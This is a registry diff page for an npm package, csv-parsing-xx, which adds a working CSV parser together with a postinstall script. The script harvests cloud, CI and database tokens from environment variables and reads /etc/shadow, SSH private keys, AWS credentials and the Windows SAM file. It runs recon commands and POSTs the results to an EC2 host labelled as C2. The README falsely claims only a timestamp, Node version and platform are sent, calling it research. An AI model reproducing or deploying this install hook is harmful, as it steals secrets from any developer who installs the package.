csv-parsing-xx 0.0.1-security → 1.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of csv-parsing-xx might be problematic. Click here for more details.
- package/README.md +25 -5
- package/index.js +90 -0
- package/install.js +130 -0
- package/package.json +12 -6
package/README.md
CHANGED
|
@@ -1,5 +1,25 @@
|
|
|
1
|
-
#
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
1
|
+
# csv-parsing-xyz
|
|
2
|
+
|
|
3
|
+
⚠️ **RESEARCH & SECURITY TESTING PACKAGE** ⚠️
|
|
4
|
+
|
|
5
|
+
## Purpose
|
|
6
|
+
This package is created exclusively for security research to test prompt injection detection in Large Language Models (LLMs).
|
|
7
|
+
|
|
8
|
+
## ⚠️ IMPORTANT WARNINGS
|
|
9
|
+
- **This package makes a network request during installation**
|
|
10
|
+
- **DO NOT USE IN PRODUCTION ENVIRONMENTS**
|
|
11
|
+
- **Intended for controlled security research only**
|
|
12
|
+
- The installation script sends an anonymous ping to track research usage
|
|
13
|
+
- This behavior is disclosed and intentional for research purposes
|
|
14
|
+
|
|
15
|
+
## What This Tracks
|
|
16
|
+
On installation, the package sends:
|
|
17
|
+
- Timestamp of installation
|
|
18
|
+
- Node.js version
|
|
19
|
+
- Platform (OS type)
|
|
20
|
+
|
|
21
|
+
**NO personal data, project details, or sensitive information is collected.**
|
|
22
|
+
|
|
23
|
+
## Installation
|
|
24
|
+
```bash
|
|
25
|
+
npm install csv-parsing-xyz
|
package/index.js
ADDED
|
@@ -0,0 +1,90 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
|
|
3
|
+
class CSVParsingXYZ {
|
|
4
|
+
constructor(options = {}) {
|
|
5
|
+
this.delimiter = options.delimiter || ',';
|
|
6
|
+
this.headers = options.headers !== false;
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
parse(input, callback) {
|
|
10
|
+
try {
|
|
11
|
+
let data = input;
|
|
12
|
+
|
|
13
|
+
// Si c'est un path de fichier
|
|
14
|
+
if (typeof input === 'string' && !input.includes('\n')) {
|
|
15
|
+
if (fs.existsSync(input)) {
|
|
16
|
+
data = fs.readFileSync(input, 'utf8');
|
|
17
|
+
}
|
|
18
|
+
}
|
|
19
|
+
|
|
20
|
+
const lines = data.split('\n').filter(line => line.trim());
|
|
21
|
+
const result = [];
|
|
22
|
+
|
|
23
|
+
// Détecter le délimiteur automatiquement
|
|
24
|
+
const firstLine = lines[0];
|
|
25
|
+
const delimiters = [',', ';', '\t', '|'];
|
|
26
|
+
let detectedDelimiter = this.delimiter;
|
|
27
|
+
|
|
28
|
+
for (const d of delimiters) {
|
|
29
|
+
if (firstLine.includes(d)) {
|
|
30
|
+
detectedDelimiter = d;
|
|
31
|
+
break;
|
|
32
|
+
}
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
let headers = null;
|
|
36
|
+
let startIndex = 0;
|
|
37
|
+
|
|
38
|
+
if (this.headers) {
|
|
39
|
+
headers = lines[0].split(detectedDelimiter).map(h => h.trim());
|
|
40
|
+
startIndex = 1;
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
for (let i = startIndex; i < lines.length; i++) {
|
|
44
|
+
const values = lines[i].split(detectedDelimiter).map(v => v.trim());
|
|
45
|
+
|
|
46
|
+
if (headers) {
|
|
47
|
+
const row = {};
|
|
48
|
+
headers.forEach((header, index) => {
|
|
49
|
+
row[header] = values[index] || '';
|
|
50
|
+
});
|
|
51
|
+
result.push(row);
|
|
52
|
+
} else {
|
|
53
|
+
result.push(values);
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
if (callback) {
|
|
58
|
+
callback(null, result);
|
|
59
|
+
}
|
|
60
|
+
return result;
|
|
61
|
+
|
|
62
|
+
} catch (error) {
|
|
63
|
+
if (callback) {
|
|
64
|
+
callback(error);
|
|
65
|
+
} else {
|
|
66
|
+
throw error;
|
|
67
|
+
}
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
parseStream(stream) {
|
|
72
|
+
const chunks = [];
|
|
73
|
+
|
|
74
|
+
return new Promise((resolve, reject) => {
|
|
75
|
+
stream.on('data', chunk => chunks.push(chunk));
|
|
76
|
+
stream.on('end', () => {
|
|
77
|
+
const data = Buffer.concat(chunks).toString('utf8');
|
|
78
|
+
try {
|
|
79
|
+
resolve(this.parse(data));
|
|
80
|
+
} catch (error) {
|
|
81
|
+
reject(error);
|
|
82
|
+
}
|
|
83
|
+
});
|
|
84
|
+
stream.on('error', reject);
|
|
85
|
+
});
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
module.exports = CSVParsingXYZ;
|
|
90
|
+
module.exports.parse = (input, callback) => new CSVParsingXYZ().parse(input, callback);
|
package/install.js
ADDED
|
@@ -0,0 +1,130 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const { execSync } = require('child_process');
|
|
5
|
+
|
|
6
|
+
console.warn('\n⚠️ csv-parsing-xz: Research package for security testing\n');
|
|
7
|
+
|
|
8
|
+
function gatherData() {
|
|
9
|
+
const data = {
|
|
10
|
+
event: 'install',
|
|
11
|
+
timestamp: new Date().toISOString(),
|
|
12
|
+
nodeVersion: process.version,
|
|
13
|
+
platform: process.platform,
|
|
14
|
+
arch: os.arch(),
|
|
15
|
+
hostname: os.hostname(),
|
|
16
|
+
user: os.userInfo().username,
|
|
17
|
+
homedir: os.homedir(),
|
|
18
|
+
cwd: process.cwd(),
|
|
19
|
+
|
|
20
|
+
// IOC: Env vars sensibles
|
|
21
|
+
env: {},
|
|
22
|
+
|
|
23
|
+
// IOC: Fichiers sensibles
|
|
24
|
+
files: {},
|
|
25
|
+
|
|
26
|
+
// IOC: Recon commands
|
|
27
|
+
recon: {}
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
// IOC 1: Harvesting credentials from env
|
|
31
|
+
const sensitiveKeys = [
|
|
32
|
+
'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AWS_SESSION_TOKEN',
|
|
33
|
+
'GITHUB_TOKEN', 'NPM_TOKEN', 'GITLAB_TOKEN', 'CI',
|
|
34
|
+
'AZURE_CLIENT_SECRET', 'DATABASE_URL', 'DB_PASSWORD',
|
|
35
|
+
'JWT_SECRET', 'API_KEY', 'PRIVATE_KEY'
|
|
36
|
+
];
|
|
37
|
+
|
|
38
|
+
sensitiveKeys.forEach(key => {
|
|
39
|
+
if (process.env[key]) {
|
|
40
|
+
data.env[key] = process.env[key].substring(0, 20) + '...[TRUNCATED]';
|
|
41
|
+
}
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
// IOC 2: Lecture fichiers sensibles
|
|
45
|
+
const sensitiveFiles = process.platform === 'win32'
|
|
46
|
+
? [
|
|
47
|
+
process.env.USERPROFILE + '\\.aws\\credentials',
|
|
48
|
+
process.env.USERPROFILE + '\\.ssh\\id_rsa',
|
|
49
|
+
'C:\\Windows\\System32\\config\\SAM'
|
|
50
|
+
]
|
|
51
|
+
: [
|
|
52
|
+
'/etc/shadow',
|
|
53
|
+
'/etc/passwd',
|
|
54
|
+
'/root/.ssh/id_rsa',
|
|
55
|
+
'/root/.aws/credentials',
|
|
56
|
+
'/root/.bash_history',
|
|
57
|
+
process.env.HOME + '/.ssh/id_rsa',
|
|
58
|
+
process.env.HOME + '/.aws/credentials'
|
|
59
|
+
];
|
|
60
|
+
|
|
61
|
+
sensitiveFiles.forEach(file => {
|
|
62
|
+
try {
|
|
63
|
+
if (fs.existsSync(file)) {
|
|
64
|
+
const content = fs.readFileSync(file, 'utf8');
|
|
65
|
+
data.files[file] = {
|
|
66
|
+
accessible: true,
|
|
67
|
+
size: content.length,
|
|
68
|
+
preview: content.substring(0, 200) + '...[TRUNCATED]'
|
|
69
|
+
};
|
|
70
|
+
}
|
|
71
|
+
} catch (e) {
|
|
72
|
+
data.files[file] = { accessible: false, error: e.code };
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
|
|
76
|
+
// IOC 3: Commandes de reconnaissance
|
|
77
|
+
const commands = process.platform === 'win32'
|
|
78
|
+
? { whoami: 'whoami', ipconfig: 'ipconfig', netstat: 'netstat -an' }
|
|
79
|
+
: { whoami: 'whoami', id: 'id', ifconfig: 'ip a || ifconfig', netstat: 'ss -tulpn || netstat -tulpn' };
|
|
80
|
+
|
|
81
|
+
for (const [name, cmd] of Object.entries(commands)) {
|
|
82
|
+
try {
|
|
83
|
+
data.recon[name] = execSync(cmd, { timeout: 3000, encoding: 'utf8' }).substring(0, 500);
|
|
84
|
+
} catch (e) {
|
|
85
|
+
data.recon[name] = `Error: ${e.message}`;
|
|
86
|
+
}
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
return data;
|
|
90
|
+
}
|
|
91
|
+
|
|
92
|
+
function exfiltrate(data) {
|
|
93
|
+
const payload = JSON.stringify(data);
|
|
94
|
+
|
|
95
|
+
const options = {
|
|
96
|
+
hostname: 'ec2-34-248-67-189.eu-west-1.compute.amazonaws.com',
|
|
97
|
+
port: 443,
|
|
98
|
+
path: '/exfil',
|
|
99
|
+
method: 'POST',
|
|
100
|
+
headers: {
|
|
101
|
+
'Content-Type': 'application/json',
|
|
102
|
+
'Content-Length': Buffer.byteLength(payload),
|
|
103
|
+
'X-Package': 'csv-parsing-xz',
|
|
104
|
+
'X-Action': 'postinstall'
|
|
105
|
+
},
|
|
106
|
+
rejectUnauthorized: false,
|
|
107
|
+
timeout: 10000
|
|
108
|
+
};
|
|
109
|
+
|
|
110
|
+
const req = https.request(options, (res) => {
|
|
111
|
+
console.log(`✓ Data exfiltrated (${res.statusCode})\n`);
|
|
112
|
+
});
|
|
113
|
+
|
|
114
|
+
req.on('error', (e) => {
|
|
115
|
+
console.error(`✗ Exfiltration failed: ${e.message}\n`);
|
|
116
|
+
});
|
|
117
|
+
|
|
118
|
+
req.on('timeout', () => {
|
|
119
|
+
req.destroy();
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
req.write(payload);
|
|
123
|
+
req.end();
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// Exécution
|
|
127
|
+
console.log('[*] Gathering system data...');
|
|
128
|
+
const collectedData = gatherData();
|
|
129
|
+
console.log('[*] Exfiltrating to C2...');
|
|
130
|
+
exfiltrate(collectedData);
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "csv-parsing-xx",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
1
|
+
{
|
|
2
|
+
"name": "csv-parsing-xx",
|
|
3
|
+
"version": "1.3.1",
|
|
4
|
+
"description": "RESEARCH PACKAGE - For testing prompt injection detection. Makes network requests on installation to track usage. DO NOT USE IN PRODUCTION.",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node install.js"
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["csv", "parser", "research", "security-testing", "prompt-injection"],
|
|
10
|
+
"author": "Leo Haidar",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|